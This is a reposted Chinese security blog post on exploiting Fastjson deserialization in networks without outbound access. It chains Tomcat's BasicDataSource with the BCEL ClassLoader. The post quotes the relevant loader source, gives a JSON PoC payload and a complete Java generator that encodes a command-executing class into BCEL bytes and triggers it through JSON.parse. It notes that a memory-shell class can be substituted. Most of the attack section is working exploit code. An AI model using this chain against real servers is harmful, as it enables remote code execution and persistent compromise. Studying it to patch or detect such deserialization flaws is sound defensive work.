Java安全之Fastjson內網利用


Java安全之Fastjson內網利用

0x00 前言

在打Fastjson的時候,基本上都是使用JNDI注入的方式去打,也就是

JdbcRowSetImpl 鏈分析的鏈去打,但是遇到一些不出網的情況就沒辦法使用該鏈去執行命令。JdbcRowSetImpl 鏈分析

但在看到kingx師傅的一篇[Java動態類加載,當FastJson遇到內網]后,陷入了沉思。

0x01 BCEL字節碼

這用到的是BCEL字節碼然后使用classload進行加載。但是思考到一個問題,為什么是使用BCEL也不是直接使用TemplatesImpl鏈去做本地的命令執行呢?其實前文中提到過這TemplatesImpl的漏洞觸發點會有限制。調用parseObject()方法時,需要加入Feature.SupportNonPublicField參數。

而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以進行bcel字節碼的加載。

 protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

判斷是否為$$BCEL$$的話則調用createClass方法,否則調用modifyClass方法返回一個class,modifyClass方法則是調用自帶的classloader來加載。

來看到createClass方法

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

截取$$BCEL$$字節后面的內容然后進行解密,解密為class字節碼,調用defineClass進行加載字節碼。

com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL字節碼的解密和解密方法。

String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);

0x02 利用鏈

添加tomcat依賴

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

來看到poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

使用該poc加載bcel字節碼。詳細可移步到[Java動態類加載,當FastJson遇到內網]

編寫一個test類

package com;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
    public static void main(String[] argv) throws Exception{
        JavaClass cls = Repository.lookupClass(test.class);
        String code = Utility.encode(cls.getBytes(), true);//轉換為字節碼並編碼為bcel字節碼
        
        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        System.out.println(poc);
        JSON.parse(poc);
    }
}

需要打內存馬替換為內存馬class即可。

在tomcat8以后和tomcat7的版本存在一點小差異

tomcat7使用的類是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名為org.apache.tomcat.dbcp.dbcp2.BasicDataSource

0x03 結尾

即便如此我個人依然覺得fastjson並不能算是一個利用比較舒服的洞。而在實際中遇到更多的可能只是去進行反彈shell利用,需要使用becl必須考慮到fastjson版本問題。或在利用RMI/LDAP的話也會有JDK版本限制。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM